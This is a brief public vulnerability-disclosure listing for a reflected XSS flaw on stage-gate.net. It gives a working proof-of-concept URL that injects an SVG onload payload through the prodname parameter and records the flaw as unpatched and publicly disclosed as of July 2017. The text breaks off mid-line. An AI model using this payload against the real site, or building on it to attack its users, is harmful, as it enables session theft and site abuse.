stage-gate.net XSS vulnerability

Vulnerable URL: http://www.stage-gate.net/sgi/pc/review.php?prodname=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1723853 Google...